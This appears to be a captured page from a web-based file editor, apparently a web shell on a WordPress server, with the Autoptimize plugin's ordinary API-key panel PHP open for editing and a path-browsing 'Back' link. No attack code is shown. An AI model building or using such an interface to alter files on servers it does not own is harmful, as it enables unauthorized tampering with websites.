<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: admin_settings_key.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * Render key panel.
 */

/**
 * Function that renders key panel.
 *
 * @param string $key          API Key.
 * @param string $status       API Key status.
 * @param string $status_msg   Status message.
 * @param string $message      Message.
 * @param string $color        Color to highlight message in.
 */
function ao_ccss_render_key( $key, $status, $status_msg, $message, $color ) {
    if ( defined( 'AO_PRO_VERSION' ) &amp;&amp; has_filter( 'autoptimize_filter_ccss_key' ) ) {
        ?&gt;
        &lt;input type=&quot;hidden&quot; id=&quot;autoptimize_ccss_key&quot; name=&quot;autoptimize_ccss_key&quot; value=&quot;&quot;&gt;
        &lt;?php
        return;
    }

    if ( defined( 'AUTOPTIMIZE_CRITICALCSS_API_KEY' ) ) {
        $key = __( 'API key provided by your host/ WordPress administrator, no need to enter anything here. In case of problems with the API key, contact your host/ WordPress administrator.', 'autoptimize' );
    } else if ( has_filter( 'autoptimize_filter_ccss_key' ) ) {
        $key = __( 'API Key provided by a filter, no need to enter anything here.', 'autoptimize' );
    }

    ?&gt;
    &lt;ul id=&quot;key-panel&quot;&gt;
        &lt;li class=&quot;itemDetail&quot;&gt;
            &lt;h2 class=&quot;itemTitle fleft&quot;&gt;&lt;?php _e( 'API Key', 'autoptimize' ); ?&gt;: &lt;span style=&quot;color:&lt;?php echo $color; ?&gt;;&quot;&gt;&lt;?php echo $status_msg; ?&gt;&lt;/span&gt;&lt;/h2&gt;
            &lt;button type=&quot;button&quot; class=&quot;toggle-btn&quot;&gt;
                &lt;?php if ( 'valid' != $status ) { ?&gt;
                    &lt;span class=&quot;toggle-indicator dashicons dashicons-arrow-up&quot;&gt;&lt;/span&gt;
                &lt;?php } else { ?&gt;
                    &lt;span class=&quot;toggle-indicator dashicons dashicons-arrow-up dashicons-arrow-down&quot;&gt;&lt;/span&gt;
                &lt;?php } ?&gt;
            &lt;/button&gt;
            &lt;?php if ( 'valid' != $status ) { ?&gt;
                &lt;div class=&quot;collapsible&quot;&gt;
            &lt;?php } else { ?&gt;
                &lt;div class=&quot;collapsible hidden&quot;&gt;
            &lt;?php } ?&gt;
            &lt;?php if ( 'valid' != $status ) { ?&gt;
                &lt;div style=&quot;clear:both;padding:2px 10px;border-left:solid;border-left-width:5px;border-left-color:&lt;?php echo $color; ?&gt;;background-color:white;&quot;&gt;
                    &lt;p&gt;&lt;?php echo $message; ?&gt;&lt;/p&gt;
                &lt;/div&gt;
            &lt;?php } ?&gt;
                &lt;table id=&quot;key&quot; class=&quot;form-table&quot;&gt;
                    &lt;tr&gt;
                        &lt;th scope=&quot;row&quot;&gt;
                            &lt;?php _e( 'Your API Key', 'autoptimize' ); ?&gt;
                        &lt;/th&gt;
                        &lt;td&gt;
                            &lt;textarea id=&quot;autoptimize_ccss_key&quot; name=&quot;autoptimize_ccss_key&quot; rows='3' style=&quot;width:100%;&quot; placeholder=&quot;&lt;?php _e( 'Please enter your criticalcss.com API key here.', 'autoptimize' ); ?&gt;&quot;&gt;&lt;?php echo trim( esc_textarea( $key ) ); ?&gt;&lt;/textarea&gt;
                            &lt;p class=&quot;notes&quot;&gt;
                                &lt;?php _e( 'Enter your &lt;a href=&quot;https://criticalcss.com/account/api-keys?aff=1&quot; target=&quot;_blank&quot;&gt;criticalcss.com&lt;/a&gt; API key above. The key is revalidated every time a new job is sent to it.&lt;br /&gt;To obtain your API key, go to &lt;a href=&quot;https://criticalcss.com/account/api-keys?aff=1&quot; target=&quot;_blank&quot;&gt;criticalcss.com&lt;/a&gt; &gt; Account &gt; API Keys.&lt;br /&gt;Requests to generate a critical CSS via the API are priced at £5 per domain per month.&lt;br /&gt;&lt;strong&gt;Not sure yet? With the &lt;a href=&quot;https://criticalcss.com/faq/?aff=1#trial&quot; target=&quot;_blank&quot;&gt;30 day money back guarantee&lt;/a&gt;, you have nothing to lose!&lt;/strong&gt;', 'autoptimize' ); ?&gt;
                            &lt;/p&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                &lt;/table&gt;
            &lt;/div&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
    &lt;?php
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fautoptimize%2Fclasses%2Fcritcss-inc'>🔙 Back</a>